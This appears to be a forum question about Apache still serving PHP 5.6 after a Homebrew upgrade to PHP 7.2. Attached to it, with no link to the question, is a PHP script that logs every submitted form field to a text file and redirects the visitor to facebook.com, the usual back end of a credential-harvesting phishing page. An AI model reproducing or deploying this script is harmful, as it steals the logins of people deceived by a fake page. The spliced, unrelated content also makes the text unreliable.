Current PHP version is 7.2.2 but localhost is running php56 I recently upgraded PHP through Homebrew. When using terminal command PHP -i I'm getting PHP Version =&gt; 7.2.2 as expected.  However, when running phpinfo(); on localhost I get PHP Version 5.6.30 instead.

I have already restarted Apache ($ sudo apachectl -k restart), unlinked php56 ($ brew unlink php56) and tried ports :80 and :8080.  

What am I missing?
&lt;?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable =&gt; $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?&gt;